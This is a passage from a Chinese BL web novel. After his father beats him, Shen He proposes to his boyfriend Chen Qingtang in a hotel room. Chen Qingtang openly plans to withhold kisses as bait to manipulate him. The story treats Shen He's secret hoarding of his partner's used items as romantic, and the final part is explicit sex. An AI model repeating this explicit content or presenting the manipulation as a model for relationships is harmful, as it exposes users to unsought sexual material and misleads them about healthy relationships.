沈父手指着他,面色严厉:“你现在主意大了是吧。我马上要出差,没时间管你。” “这段日子你给我好好反省,等我回来再收拾你。” 沈鹤脸上火辣辣的疼,很快红肿出一个巴掌印,额头也渗出血。 他也不知道自己这一瞬抽什么风,逆反心理发作,竟然说了句:“好。” 沈父的冷眉顿时皱起,上去就要收拾他。 这时沈鹤的母亲站在门口,平静地说了句:“快走吧,时间要来不及了,客户不等人。” 沈父深吸一口气,凌厉地看了沈鹤一眼,转身离开了。 边走边对门口优雅高贵的女人说:“这就是你生的好儿子。” 女人也不甘示弱:“我一个人能生出来?” 沈父:“你也不管教!他现在可有脾气了!” 女人只是说:“你不是在管吗,你不是说棍棒底下出孝子吗,所以我才任由你打他,要是你管不好,以后起码别再打他,孩子大了,留点脸。” 沈父边换鞋边说:“他听话的时候,我几时打过他?转专业这么大事都不跟家里说,回来我不打死他。” 沈鹤面无表情地听着这对夫妻的谈话,等缓过那阵头晕后,他起身安静地上楼,回了自己的房间。 沈鹤并不是非要跟父母对着干。 以前沈鹤很听话,从出生起,一直听话到高中毕业,家里让怎么,他就怎么,要求他要怎样,他就怎样。 他完全是个没有意识的提线木偶,这才导致沈鹤的性格像个人机。 父母的要求,并不仅限于要他考第一,要他在外面给家里争面子,要他得体,要他会很多才艺。 沈父的管教,大到决定他人生的方向,小到他今天吃什么菜,吃多少。 今天又跟谁家的孩子多说了几句话,为什么不跟另一家的孩子说话。 他应该交什么样的朋友,应该去讨好谁家的姑娘。 …… 等等。 沈鹤不被允许有自己的喜好,一旦他表现出喜欢什么,沈父就会苛刻地告诉他 ——欲望是不正确的,是会让人失控的,高级的人类要管理好自己的欲望,他要做正确的事,而不是去做自己想做的事。 这个世界上没有人能随心所欲,能做自己想做的事。 所以沈鹤也不可以。 但沈鹤想做的,无非是想多吃几筷子自己喜欢的菜,可以在自由时间,决定自己是看漫画,还是看小说。 而不是非被逼着塞一堆晦涩难懂的外国名著。 沈父的说辞是,沈鹤反正都要看书,那就看高级的书,反正都要吃菜,那就吃更有营养的菜。 反正沈鹤都要说话,都要交朋友,那就为了沈家,去跟更有价值的人说话、交朋友。 沈父会在最大限度内,去压榨沈鹤的自由,还有价值。 渐渐的,沈鹤不爱说话了,尤其厌恶社交。 只要他表现得没有多少自我意识,沈父就不会找更多的事情,来磨灭他的自我意识。 沈鹤一直听话到了高中毕业。 直到高考填志愿时,沈父甚至不询问他,就私自篡改了他的高考志愿。 把他从南大计算机系,改到了华大的工商管理系。 那是沈鹤第一次生出叛逆的心思。 那也是沈鹤第一次意识到,他跟他父母最大的不同,在于他找到了自己热爱的事业。 于是沈鹤从大一入学开始,就已经在谋划转专业的事了。 学校规定大一下学期期末才能转专业,所以沈鹤在期末偷偷地转了专业。 这是一个契机,一个让他开始反抗的契机。 沈鹤有种直觉,如果他不抓住这个契机,那么往后他一辈子就完了。 他只能成为一个提线木偶,被他的父母操控一生,最后变成跟他父母一样,冷血麻木的人。 那根叛逆的刺,已经从沈鹤的骨头里生长了出来,它必须有一个结果。 沈鹤明白,要么助长这根刺,刺穿他的身体,最后虽然遍体鳞伤,却能破茧重生 要么就是,反抗失败,被沈父硬生生拔掉这根刺,痛得他死去活来。 两种结果,都必须要经历血淋淋的痛苦。 但沈鹤不怕,这是他选的路,他愿意承担后果。 沈鹤回到房间,把门轻轻关上,然后从被窝里,拖出了一件衣服。 那是陈清棠的衣服。 很久前沈鹤借走的,后来一拖再拖没有还。 沈鹤把那件衣服抱在怀里,闻着陈清棠残留的气味,才觉得好过一些。 其实沈鹤想不明白,他去学计算机,仍然会承担起自己作为沈家独子的责任,仍然会是一个听话的儿子。 为什么沈父怎么都不肯放手这一丁点自由。 他多吃几口自己爱吃的菜,难道就会让沈家垮掉吗,就会让沈父丢了面子吗。 这一丁点喘口气的自由,就会让他成为一个玩物丧志的人,会让沈家陷入深渊吗。 沈鹤抱紧了陈清棠的衣服。 不知道从什么时候起,沈鹤发现,当他觉得窒息时,带有陈清棠残留气味的物品,能让他感到缓解,让他好过 所以沈鹤偷偷收走了很多陈清棠用过的东西。 包括不仅限于,陈清棠穿过的衣服,用过的笔、草稿纸,毛巾,甚至是扔掉的一次性筷子,戴过的口罩…… 沈鹤越来越像一个变态,但他却没办法阻止自己这么做。 很多时候,沈鹤会觉得他父亲也挺可怜的。 因为一看就知道,沈父也是没得到过父爱的人。 也是扭曲教育下的牺牲品。 沈母也是同样的。 这一家子人,都不会爱人。 所以沈鹤很珍惜自己因为陈清棠,生出来的这份爱。 起码他会爱人了,他能爱人,他拥有去爱别人的能力。 沈鹤不仅仅是对陈清棠上瘾,他是对爱上瘾。 对热烈地去爱着什么上瘾,对疯狂地去渴望着什么上瘾。 所以沈鹤才会对陈清棠,沦陷得这么快,这么深,这么不可自拔。 不知过了多久,沈鹤终于稍微平复些了。 他拿起手机,给陈清棠发消息。 沈鹤:明天早上你几点起床 陈清棠刚看完姥姥姥爷,跟着爸妈一起回到家,他边换鞋边回沈鹤消息 陈清棠:怎么了,大概八九点吧 在家不像在学校,可以睡到大中午那么自由,会被妈妈喊起来吃早饭。 沈鹤:那我十点到,在哪儿见面 陈清棠想了想:要来我家吗 沈鹤怔住了,片刻才回:不了 陈清棠笑起来:别怕嘛,我爸妈都很好的 沈鹤还是回:不了 陈清棠:那行吧,我发你一个地址,明天在那儿见面 沈鹤:好 陈清棠又问:学得怎么样了? 沈鹤:会了 陈清棠:那……明天晚上实操,别让我失望~ 沈鹤耳朵开始发红:你不用回家吗,要跟我过夜吗 陈清棠:我男朋友这么远来找我,我怎么舍得回家,留他一个人独守空房 沈鹤眸色亮了几分:你家人会允许吗 陈清棠直接开了按下语音键,然后扭头问他正坐在沙发上看《甄嬛传》的亲妈: “妈,明晚我不在家住哈。” 陈妈妈嗑着瓜子儿拿眼瞧他:“昂,干啥去啊,约会啊。” 陈清棠:“嗯呐,找了个男朋友,可帅了,可优秀了。” 陈妈妈:“哦,行,约完了带回来给你妈看看。” 陈清棠:“你看什么啊,我觉得帅就行了,人会不好意思的。” 陈妈妈:“就你知道看帅哥?你妈我也想看啊,别整那些,带回来你妈做饭给你俩吃。” 陈清棠笑了,松手把语音给沈鹤发了过去。 沈鹤听完后,心跳得叮咚响,手都在抖。 他不停地打字,又删除,又打字,斟酌好一会儿才发出一句话。 沈鹤:你就这么出柜了没事吗 陈清棠:没事啊,我妈挺开明的 陈清棠:总之明天见 陈清棠刚收起手机,一个胳膊就盘住了他的脖子。 陈妈妈一只手还拿着瓜子儿,另一只手用来制裁他:“跟你小男朋友聊完了吧,聊完了过来跟你妈坦白。” 陈清棠眨巴眼:“怎么了陈女士,我出个柜您有意见?有意见憋着。” 陈妈妈架着他走到沙发上坐下:“我没意见,但我总得看看人吧。跟你妈说说,你啥时候弯的,啥时候跟人好上的,全都交代了。” 陈清棠:“那话就长了……” 陈清棠从陈妈妈手里抓走了一小把瓜子,换来了一个打。 — 第二天陈清棠起了个大早。 吃了早饭,就拉上了住在隔壁的楚希,两人一起高高兴兴地出了门。 见面的地方原本约在的酒店,临时改到了一个公园,离陈清棠家里比较近。 然后就是……陈妈妈每天早上在那里健身。 她保证过了,不会突然跳出来吓到沈鹤,陈清棠才同意的。 等人的时候,陈清棠跟楚希两人坐在公园的长椅上。 楚希问他:“之前你说沈鹤不懂爱,今天要给我演示,你要怎么演示?” 陈清棠其实也没想好,就只说:“等会儿你就知道了。” 楚希哦了声。 一辆出租车忽然在街道旁停下,陈清棠看了眼车牌号:“到了。” 车门打开了,陈清棠站起身像只小蝴蝶一样朝沈鹤飞奔了过去,精准地扑进了沈鹤怀里。 沈鹤怔了下,脸慢慢变红,眼神也冰雪消融,逐渐变得柔软、温和。 他抬手抱住陈清棠:“等很久了吗。” 陈清棠摇摇头,先在他脸上亲了口:“辛苦了,男朋友~” 结果一抬头,就看见沈鹤额头上顶着一个青紫的包,那张俊气让他着迷的脸上,有一个巴掌印,红肿了一片。 陈清棠心头一疼,皱起眉:“你的伤怎么回事。” 沈鹤不自然地别开脸,眼睛看向地面:“没事。” 陈清棠抓着他胳膊:“沈鹤说清楚,到底怎么了。” 他好好的男朋友,分开没两天,怎么就被人打成这样了。 沈鹤轻吸一口气:“不说这个好吗。” 陈清棠就那样看着他,看了十几秒后,一点点松开了手:“先去酒店吧,就在前面,你带路。” 沈鹤:“好。” 看沈鹤走出一段路了,楚希立刻上来同陈清棠咬耳朵。 楚希:“他看起来好像受了委屈,他怎么不愿意跟你说?” 陈清棠静默了很久:“你还觉得他爱我吗。” 楚希表情很纠结:“不知道……但他有什么都不跟你说,感觉……好像有点刻意避着你,藏着什么似的……” 楚希也不是很明白哪里不对,但却能明确一个点——相爱的人之间,不能有隐瞒,坦诚相待是必须的。 否则日子迟早过不下去。 陈清棠表情很复杂:“他总是这样,这不是第一次了。” 上次沈鹤忽然跟他说,他有点疼,陈清棠就跑去找他,结果看见的也是受了伤的沈鹤。 但陈清棠问他怎么了,沈鹤也不肯说。 陈清棠大概能猜到,是沈鹤家里发生了什么事。 如果说那时是两人的关系没深到某个程度,那现在呢? 沈鹤亲口说了爱他,但还是不肯对他坦白自己的伤口,还有脆弱。 还是不肯在难过的时候,来依靠他,向他索求安抚。 楚希:“他家里的事不跟你说,可以理解,但如果他这样什么都自己扛着,以后你俩要是一起过日子,那也太压抑了。” 试想,你的伴侣从来只跟你说好的事情,但坏的事情都闭口不谈,发生什么他自己去抗…… 这样两个人的心,是没有走到一起的。 在对方心里,你不是个可以共患难的存在,不是个可以让他依靠的存在。 陈清棠:“是。我想要的爱情,是携手患难,共同进退,我可以全心依靠他,他也可以全心依靠我,彼此信任,互相依偎。” “说实话,他之前那么不开窍,我都没生气,但我现在真的有点生气。” 除了生气外,就是心疼。 楚希摸摸他的背:“不气不气,要不你去打他一顿?” 陈清棠摇摇头:“算了。” 要揍沈鹤一顿,这个人的心就能对他敞开,那上辈子陈清棠早就揍了。 如今两人之间的情况,比起上辈子来说,也就是沈鹤察觉了自己的爱意,明确知道自己爱陈清棠。 还有就是会长嘴了。 除此外,他们跟上辈子没有什么区别。 沈鹤的心始终没对陈清棠打开,始终没有接纳他。 陈清棠感受不到两人灵魂在靠近。 楚希也叹了口气:“那他这样,你要怎么办?” 陈清棠已经平复些了,淡淡道:“也简单。我敲不开他的心,那就让他来努力敲我的心。” 直接化被动为主动。 让沈鹤像渴望亲吻他的身。体一样,来渴望亲吻他的灵魂。 当沈鹤发现,陈清棠的心没有对他打开时,他会自己想办法,千方百计地去进入陈清棠的心。 这时候,陈清棠就有了能拿捏沈鹤的筹码,那他就有办法让沈鹤按照他的意愿去行动了。 楚希这时候回味过来了:“所以你不让他跟你接吻,就是为了用接吻钓着他?” 其实也好理解,接吻是陈清棠放在明面上的牌。 为的就是象征性地告诉沈鹤——你没有完全得到我 对沈鹤这样纯情的人来说,接吻其实才是爱意交融的表现。 而沈鹤正是对陈清棠上头的时候,所以他怎么能接受不能跟爱的人接吻? 怎么能接受,爱的人不跟他接吻? 沈鹤必定会挣扎着,千方百计地去思考到底为什么。 这个过程中,陈清棠会一步步引导他,让他进入自己下一个陷阱。 让沈鹤朝着他满意的方向前进。 楚希:“所以你的钓系副本,要进入下一个阶段了吗?” 陈清棠挑眉:“高级阶段,要学吗?” 楚希小鸡啄米:“学!” 陈清棠把他往旁边一推:“那你先回家吧。” 楚希一愣:“咋了?” 陈清棠:“你打扰到我跟我男朋友调情了。” 楚希牙痒痒:“见色忘友!哼,我也去找我的周辰了。” 陈清棠跟沈鹤两人一路无话,沉默地到了酒店。 陈清棠心说,这人都不想他吗,也太冷漠了。 直到进了酒店房间,房门刚关上,一个温热的身体就缠了过来。 陈清棠被压在门上动弹不得,两只手都被沈鹤掌控着。 沈鹤急吼吼地就要凑上来亲吻他。 陈清棠直接别开脸,让他的吻落空了。 沈鹤顿了瞬,眼底的焦躁已经很明显了,甚至有两分委屈:“还是不能接吻吗。” 陈清棠搂住他脖颈,语调缱绻:“不能接吻,但,可以给你干~” 沈鹤眼底顿时爆发出侵略性,喉结都不受控制地滚动了下。 陈清棠轻咬他耳垂:“干我吗?学得怎么样了?我检查下……” 下一刻,他被沈鹤整个人横腰抱起 第53章第53章你的小恨侣向你发起了做…… 沈鹤小心翼翼地陈清棠放在床上,却没有进行下一步动作。 陈清棠脱掉自己的防晒衣,扔到一旁,只穿着一件纯白的衬衫,脖颈的扣子还特意松了两颗,露出纤细精巧的锁骨。 见这人木着,陈清棠伸出手,用食指勾住他的裤腰,不轻不重地往自己这边拽:“怎么了……” 欲拒还迎的眼神,宛如一阵六月里裹挟着热气的烈风,直接把沈鹤心头的火星子,唰地一下鼓动起三丈高。 沈鹤脸颊都烧红了,红得发烫,咔嚓一声掰响了手指骨节。 还不是时候。 沈鹤轻吸一口气,将躁动的情潮尽数压下:“可以先给我一点时间吗。” 陈清棠:“嗯?” 沈鹤认真地看着他:“我想先补给你一场表白。” 陈清棠从他郑重的眸色里,竟然捕捉到了一缕罕见的羞涩,不觉有了几分兴味儿。 呀,这人抱着他又啃又亲的时候,都没害羞过,说到表白还害羞了。 也太纯情了。 陈清棠端坐着,翘起二郎腿:“那你表吧。” 他要看看沈鹤能表出个什么花儿来。 表白嘛,不都那样。 什么送花啊,或者搞点气球、蜡烛之类的,凑凑氛围,再不外乎就是叫上好朋友见证幸福,然后坦白地说出自己的喜欢 地球上这么多人,这么多对情侣,但基本都用这些套路表白。 没个新意,俗气透了。 沈鹤转身去打开了自己带来的行李箱,从里面拿出了一个盒子,还有一包东西,然后转身一步步朝陈清棠走来。 陈清棠看了他一眼,故意逗他:“人家表白都有鲜花,你怎么没有啊?” 沈鹤一怔:“没买鲜花。你鼻子敏感,对气味和粉尘过敏,我怕买不好,反而让你难受。” “如果你想要,我们可以现在出去挑。” 陈清棠原本对他的表白无感的,听到这话,心头微微动容。 这是真把他放心尖上疼,认真仔细考虑过的。 喷不了。 陈清棠:“算了,很多花我都闻不惯,不要花。” 听到这话,沈鹤从包里拿东西的手又顿住了。 陈清棠看他犹犹豫豫的,忍不住说:“包里装什么了?是给我的吗。” 沈鹤嗯了声,然后从包里拖出了一束红色的玫瑰 爱惜地理了理花瓣,让它们看起来更工整漂亮,才递到陈清棠面前:“送给你。” 陈清棠微讶,手指触碰了一下,才发现是用纸做的花。 但每一朵都做得很精致,花瓣模拟了真花的纹理,跟真的几乎不差,还撒上了金粉,看起来布灵布灵的,闪闪漂亮。 陈清棠真的有点惊喜了,接过来爱不释手地拨弄着花瓣:“你自己做的吗?做得好好看。” 沈鹤看他笑了,握紧的手才稍微松了些:“嗯。网上有教程,跟着教程做的。” 陈清棠:“做了很久吧。” 一想到沈鹤这样不开窍的人,为了给他表白,讨他欢喜,挖空心思地做了这么一束玫瑰,陈清棠就难忍心软。 对沈鹤来说,真花才是最容易得到的,沈家的小公子缺爱,缺根筋,唯独不缺钱。 所以如果沈鹤送真花,陈清棠反而觉得索然无味。 随手就能得到东西,谁稀罕?大街上的花店里到处都是。 但这一束假花,是沈鹤一片一片花瓣,耗费了时间和精力做出来的。 陈清棠甚至可以想象到,沈鹤做这束花时,心里念着他,神情温柔的模样。 这怎么能让他不心软呢。 沈鹤亲吻他的手背、手指:“没有做很久。” 也就一天一夜,熬了通宵。 沈鹤也不是什么都全能的,他有点手笨,刚开始学着做的时候,做出来的基本都是废花,看不得。 几乎是做了上百朵,最终挑出来能看的,也就这么九朵。 九朵寓意好。 网上说的。 代表长长久久。 如果不是时间不允许,沈鹤还想做个九十九朵。 陈清棠抱着花,两眼弯弯地对他笑:“词呢?花都送了,表白词……” 他笑得太好看了,明眸皓齿,勾得沈鹤心尖一颤一颤的,宛若春水微漾。 沈鹤一错不错地看着陈清棠,忽然单膝跪下了。 陈清棠略微惊讶。 沈鹤拿出一个盒子,递到他眼前,然后缓缓把盒子打开。 陈清棠定睛一看,包装奢华的盒子里,竟然躺着一枚不小的钻戒。 款式很朴素,很符合沈鹤人设的审美,但朴素中透着价值市中心一套房的贵气。 陈清棠家里虽然比不上沈鹤,但也不差,好东西是见识过的,他一眼就看出了这枚戒指有多贵重。 沈鹤专注地望着他,耳根都红透:“陈清棠,我会对你好,对你很好很好,不会让你受一点委屈,有一点难过。” “你是我最珍贵的宝物,我爱你,很爱,想跟你在一起一辈子,以后我们共同拥有一个家,互相陪着对方慢慢变老,你愿意跟我在一起吗。” 陈清棠盯着那枚戒指,怔了好久。 恍然就想起上辈子两人结婚时,沈鹤也有跟他求婚,但只是简单地说:“陈清棠,我们结婚吧,我会对你好。” 后来沈鹤完美地践行了他的承诺,确实对陈清棠很好,甚至慷慨地赠予了陈清棠沈家公司的股份,让他衣食无忧。 沈鹤是一个完美的丈夫,但却是一个糟糕的爱人。 他看不懂陈清棠的爱意,也不明白自己的爱意,所以他无法回应陈清棠的爱。 陈清棠看沈鹤,永远像是隔着一堵墙,他想破开这面墙,但无论他怎样做,都很无力。 只有在床上时,才能隐约窥见一点,沈鹤对他失控的渴求,难以扼制流露出的温柔。 而一旦下了床,沈鹤西装着身,就又变回了那个疏离冷漠的高岭之花,对陈清棠也只有只言片语 不管陈清棠说什么,沈鹤永远公式化地用‘嗯’、‘好的’、‘可以’来回答,像个被电脑设定好的机器人。 陈清棠不是没怀疑过沈鹤爱他 在他生病时沈鹤温情照顾他的时候 在下雨天沈鹤特意来接他的时候 在他说自己爱吃什么,沈鹤不顺路也去给他买的时候…… 很多个时候,陈清棠也产生了沈鹤爱他的错觉。 直到后来有次,陈清棠听见沈鹤跟父母谈话,沈鹤亲口说,对他好,做这些事,都只是处于作为伴侣的责任。 那时陈清棠的幻想就破灭了。 他也是个高傲的人,没办法放下自尊去质问沈鹤,从此后,陈清棠也收起了自己的爱意,只当搭伙过日子算了。 直到车祸死亡,觉醒了意识,陈清棠才看明白沈鹤的爱 才意识到,沈鹤不是不爱,而是根本就不懂爱。 沈鹤那些自以为是的责任,只是他不懂爱,给自己找的借口。 如果不爱他,为什么会趁着他生病高烧昏睡,在旁边照顾他的时候,还偷偷亲吻他呢。 如果不爱他,为什么又在为了公司的事焦头烂额,通宵了几晚极度疲惫的情况下,却仍然在回家的路上,特意绕路去买一份陈清棠爱吃的小蛋糕呢。 这些细节陈清棠原本并不知道,是他觉醒后,脑子里多出来的第三视角的信息。 陈清棠知道这些后,真的很生气。 气两人明明相爱,怎么就错过了,互相遗憾终身。 最终落得,一个车祸早逝,一个自杀殉情的局面。 走到那一步,彼此都有责任,因为陈清棠以为沈鹤不爱他,也赌气地不再对沈鹤表露爱意。 他没有坚定地选择沈鹤。 他们相爱,但心却没有靠近 那么多个相拥而眠的夜晚,明明拥抱着,热烈地做着爱,交缠着,心脏却泛着寒气,怎么都捂不热,靠不拢。 所以,现在重来一世,陈清棠绝对不要重蹈覆辙。 他必须要敲开沈鹤的心。 他想知道,沈鹤为什么会是那样的性格 为什么沈鹤不会爱人 为什么沈鹤在爱上一个人后,反应却是压抑和隐藏这份爱。 陈清棠能感受到沈鹤的内心是痛苦的,他想知道,沈鹤到底在为什么痛苦。 不觉中,陈清棠眼眶已经微红、湿润,他略微失控的状态,都尽数被昏暗的光线吞没。 陈清棠很快调理好自己,若无其事地笑笑,还调侃沈鹤: “表白的词有点老土啊,还有那句‘你是我最珍贵的宝物’,不像你会说的话,哪儿学来的?” 沈鹤脸一下爆红,但他的表情还是端住的 沈鹤总是这样,不管发生什么,他心里多惊涛骇浪,面上都能端这着一副平静无波的镇静模样,让人辨不出他的情绪。 沈鹤:“网上看的。我没表白过,不知道该说些什么,就搜了下,学习别人的经验。” 陈清棠又看向他的戒指:“你怎么搞得好像求婚似的。” 沈鹤眼神专注:“不可以吗。” 在沈鹤的世界里,人这一辈子只能爱一个人。 既然他已经爱上陈清棠了,决定要爱陈清棠了,那他就只会爱陈清棠。 沈鹤这辈子已经一眼就能看到头了,那就是他会跟陈清棠在一起。 所以表白即是求婚。 陈清棠似笑非笑:“哪有人一上来就把表白跟求婚一起的。而且,你不觉得求婚太快了吗?我们才认识半年。” 也就一个学期。 沈鹤以为他是没有安全感,面色郑重道:“跟时间无关,能不能从一而终,是人品的问题,如果你不相信我的人品——” 陈清棠打断他:“好了,没那么严重,我就是觉得有点快。” 沈鹤呼吸轻慢,望着他的眸子微颤:“那你愿意吗。” 陈清棠微眯起眼:“你懂该怎么经营一段婚姻,怎么经营一段感情吗?” 沈鹤:“嗯。我会担负起我作为你伴侣的责任,会好好照顾你,对你好一辈子。” 听到这话,陈清棠都有点气笑了。 这不跟上辈子一模一样吗。 他又不是要找一个保姆,伺候自己生活。 也不是要找一个金大腿,让自己一辈子有花不完的钱。 更不是要找一个对他好的人,那他回家找爸妈不就行了吗。 他爸妈对他不好吗,楚希他们对他不好吗。 陈清棠摇摇头:“你根本不懂。我要的是灵魂伴侣。” 沈鹤握紧了装戒指的盒子:“我可以。” 陈清棠很久都没说话。 他想要的是风雨同舟,至死不渝,互相依偎。 有人能欣赏他的美好,同样能承接他的不堪,爱闪耀的他,也爱泥泞里的他,爱自信明媚的他,也爱脆弱无助的他。 当然,如果只是对方单方面对他做到,也不是爱,爱是彼此相互的,陈清棠也想要对对方做到。 沈鹤却连自己的伤口都不肯对他袒露,更别提那些隐藏的痛苦,不堪。 陈清棠能看到的沈鹤,跟别人眼里的那个高岭之花,没有任何区别。 这会让陈清棠觉得,他对沈鹤来说,跟其他任何人都没有差别,他对沈鹤来说,也不是不可替代的特殊存在。 会让他觉得,他始终没有走进沈鹤的心,始终没能触碰到沈鹤的的灵魂。 陈清棠会很没有安全感,总觉得,他好像随时都会被沈鹤‘抛弃’掉。 但这些话,即便说给沈鹤听,沈鹤也理解不了。 陈清棠静默几秒,缓缓俯下身,手指轻抚上沈鹤受伤的额头:“那,你先告诉我,这伤口怎么来的。” 果然,沈鹤顿了下,缓缓别过头去。 这就是沈鹤的回答。 无言的沉默,宛如一堵墙,悄无声息地横在两人中间,将他们隔开。 陈清棠就知道会是这个结果,身子退了回去,就那样看着沈鹤。 沈鹤:“抱歉。这是我的私事。” 陈清棠:“你的私事?” 沈鹤嗯了声:“但这不会妨碍我对你好。以后我们在一起,我也不会让我这边不好的事,去影响你,打扰你。” 沈鹤深知他的家庭太过窒息压抑,他会处理好,尽量不让陈清棠接触。 而且…… 沈鹤没办法对陈清棠展露自己不堪的一面,包括他的家庭。 沈鹤没办法向陈清棠说明他的伤口怎么来的,说明他是怎么被父亲像个便宜货一样,随时随地都能暴揍的,说明他成年后突然的逆反,以及以前那些压抑的日子 根本核心是,沈鹤不想向陈清棠袒露那些,他不被爱的细节,以及他在那个家里,是个能随意被揉捏的弱者的事实。 显得他太不堪,太可怜,太卑微,太弱小。 沈鹤不认为,有人会喜欢那样的他。 所以沈鹤宁愿闭口不谈,也好过从陈清棠眼里看到一些,会刺痛他的情绪。 不管是同情,还是什么,都会让沈鹤难受。 因为沈鹤在乎陈清棠,很在乎,所以陈清棠能比别人更加倍、百倍地刺痛他。 沈鹤不知道的是,爱你的人,看到你的伤疤和不堪,只会心疼,只会更加爱,而不是厌恶和失望,也不是觉得你弱小卑微。 但沈鹤原本就没被爱过,所以他不懂。 陈清棠忍无可忍地闭了闭眼。 如果真这样,那他们还像爱人吗? 沈鹤是要跟他做一对,只能同甘,不能共苦的表面夫夫吗。 真是没救了。 算了,慢慢来,他有的是力气和手段。 陈清棠漫不经心地朝沈鹤伸出手。 沈鹤没反应过来。 陈清棠下巴一挑:“戒指,给我戴上啊。” 沈鹤手心都热了起来:“你愿意?” 陈清棠语气几分懒怠:“我愿意接受你的表白。但求婚的事……等以后再说。” 沈鹤定定地:“以后是什么时候。” 陈清棠掀起眼皮看他:“等你懂了之后。” 懂得怎么去爱,怎么经营一段婚姻,怎么经营一段感情的时候。 沈鹤追着:“我需要懂什么。” 陈清棠啧了声:“烦不烦,到底戴不戴?” 沈鹤轻吸一口气,立马捉住他的手,一边心跳加速地把戒指往他手指上戴,一边郑重承诺: “我爱你,我会对你好,不让你受委屈,不让你难过……” 好像在作法念咒一样。 陈清棠听他翻来覆去就是那几句,每次还都说得那么认真,忍不住笑起来。 傻东西。 戒指戴好后,陈清棠抬手解开自己的衬衫扣子,修长的手指勾着领口往下一滑,露出白皙的肩头,目光缱绻地看向沈鹤: “完事了吗?那……就开始吧。” 沈鹤眸光沉了,他单手掌住陈清棠的后脑勺,低沉的嗓音含着渴求: “可以接吻吗。我想吻你。” 陈清棠眼底含着温柔的笑,却是冲他残忍地摇摇头:“如果你不想我不理你,最好别。” 咔嚓,沈鹤掰响了手指骨节,他低头就在陈清棠的脖颈上狠狠咬了一口。 带着发泄的焦躁。 沈鹤:“我表白了,也刷牙了,还是不可以吗……” 把头埋在陈清棠颈窝的样子,竟有几分委屈。 陈清棠轻笑:“谁说是表白和刷牙的问题。” 沈鹤猛地抬头看他,目光有点凶:“那是为什么。” 陈清棠怜爱地替他拨开额前的碎发,凑上去亲吻他额角青紫的包: “那你得先告诉我,你的伤口怎么回事,这两天发生了什么。” 屋里徒然没了声音,死寂一般沉静。 沈鹤又低下头,轻轻吻着刚才咬过的地方:“我恨你。” 陈清棠抚摸他的软发:“彼此彼此。” 又说:“那,你的小恨侣向你发起了做。爱请求,你是否同意?” 第54章第54章再多爱我一点 陈清棠话音刚落,一连串灼热的吻就落了下来。 从敏感的耳朵,蔓延到脖颈,再到锁骨,火星子一般散落开来。 夹杂着沈鹤无处排解的焦躁,还有发泄一般的粗重力道,偏生在这席卷的暴风眼中,又掺杂了怜爱的疼惜。 陈清棠很快便在强猛的攻势下,呼吸不稳,白皙的脸也爬上羞人的潮红。 他能感知到,沈鹤似乎有点生气。 不过陈清棠不想哄。 不就是不给亲嘴儿吗,这有什么好生气的。 他还生气了。 他好好一个帅气的男朋友,才两天不见,就被人揍成了那样,受了委屈都自己往肚子里咽,也不跟他面前叫疼。 陈清棠还气死了呢。 他索性也不理沈鹤,看沈鹤要怎么办。 陈清棠就平躺着,望着天花板,一副摆烂的姿态。 衬衫被解开,有点发凉,陈清棠刚要动一下,下一刻,一个湿软微烫的东西就贴了上来。 还刁钻刻薄地追着小红豆进攻。 那种酥麻和绵长的痒意中,又夹杂着无力的感觉,瞬间直通大脑神经。 陈清棠忍不住轻哼一声:“嗬……” 沈鹤似乎特别喜欢他这个反应,笨拙地取悦他。 白皙修长的双腿露出来时,沈鹤的注意力被转移了,眸色顿时沉了许多,漆黑的瞳孔,像是正在酝酿中的暴风眼。 沈鹤就那样一眨不眨地,盯着陈清棠的腿,看了好几秒。 陈清棠见他不动了,正要说什么,又闭上了嘴继续摆烂。 他要看看沈鹤到底学到了些什么,会怎么对他。 此时陈清棠差不多赤条条的了,上半身的衬衫松松垮垮地敞开,下半身倒是规矩。 穿着条黑色的,裤脚四四方方的裤子,长度只有沈鹤巴掌那么长。 跟那天沈鹤带走的那条,几乎一模一样。 沈鹤的目光落在那块布料上,他的脸距离那里也只有一个手掌的距离。 看着看着,沈鹤的眸色越发的黑,脸也越发的红。 完全一副魔怔了,移不开眼的模样。 陈清棠整个人一怔。 啊,这个人不会是想…… 有意思,沈鹤内心压抑的阴暗,比他想象中还要深重。 陈清棠忽然来了趣味儿,嘴角勾起一个恶劣的笑。 他抬脚蹬在沈鹤肩上,微抬起下巴,一副懒怠桀骜的姿态: “好看吗……要不要闻一闻?” 沈鹤瞳孔猛然紧缩,抬头震惊地看着他。 眼底除了不可置信外,还暧昧地含了几分隐晦的兴奋,如藏于林中的乔木,让人难以辨认。 但陈清棠还是通过他这反应,确认自己猜对了。 他脚踝扭动着,用脚趾轻轻点着沈鹤的肩膀,贴心地给沈鹤找好了借口: “不想确认一下,这条跟上次我给你的那条,气味有什么区别吗……” 沈鹤喉结挣扎地滚动了下。 目光扫了一眼,又猛然深吸一口气,像被火烧着了一般飞快地挪开了。 陈清棠眼底笑意更深,感觉自己好像是个在引诱清僧的妖精。 沈鹤呼吸不稳:“这不对……” 这次沈鹤同样说不出来,到底哪里不对。 只是,但凡是个正常人,就都会觉得这种行为不正常,很变态。 陈清棠半靠在床头,手指掐住沈鹤的下巴:“真的不想?真的……不想~” 沈鹤浑身僵硬着不说话,瞳孔却不停地颤啊颤。 陈清棠忽然笑了下,然后趁着沈鹤不注意,猛地把他的头往下一按…… 啊,爽了。 有种逼良为娼的爽感。 沈鹤眼睛猛然睁大,整个人石化了一般。 但这种状态只持续了两三秒,沈鹤的眼神就从惊愕,变成了自暴自弃的沉沦。 沈鹤目光也变得迷离,他微微眯起眼,高挺的鼻梁,涩情地顶着小清棠厮磨,还不停地深嗅。 呼吸也一声比一声沉,那是情欲逐渐深重的表现。 ……啊,气味不一样 比之前闻过的那条,气味更重 洗衣液的香精气味很浅淡,荷尔蒙的气息要更浓烈,更勾人 都是陈清棠的气味…… 沈鹤任由汹涌的情潮将他裹挟着,去往得不到救赎的深渊炼狱。 陈清棠半眯着眼睛,就那样看着沈鹤因他丢失理智,因他陷入迷乱。 他一只手放在沈鹤的头上,时不时奖励似的揉两下。 还故意坏心思地拷问沈鹤:“好闻吗?” 原本正在沉迷中的沈鹤,被这句话打断,羞耻心忽然反水重来,将他淹没。 沈鹤整张脸爆红,难以面对地闭了闭眼,咬紧牙不愿回答。 陈清棠失笑,这人,做都做了,还不敢承认。 他当着沈鹤的面儿,隔着黑色的布料逗了自己几下。 本来就深陷情潮,这几下直接把黑色的布料晕染出了很小一片湿意。 沈鹤眼都看直了,喉结不停地滚啊滚,胸膛也剧烈起伏着。 陈清棠很满意他的反应,停下动作,把那玩意儿剥离。 那块布离开小清棠的时候,甚至藕断丝连,扯出了一条黏糊糊、亮晶晶的线 沈鹤顿时呼吸都停滞了,眼底好像有火星子在一跳一跳的。 陈清棠也不觉得羞耻,大大方方的向他展示。 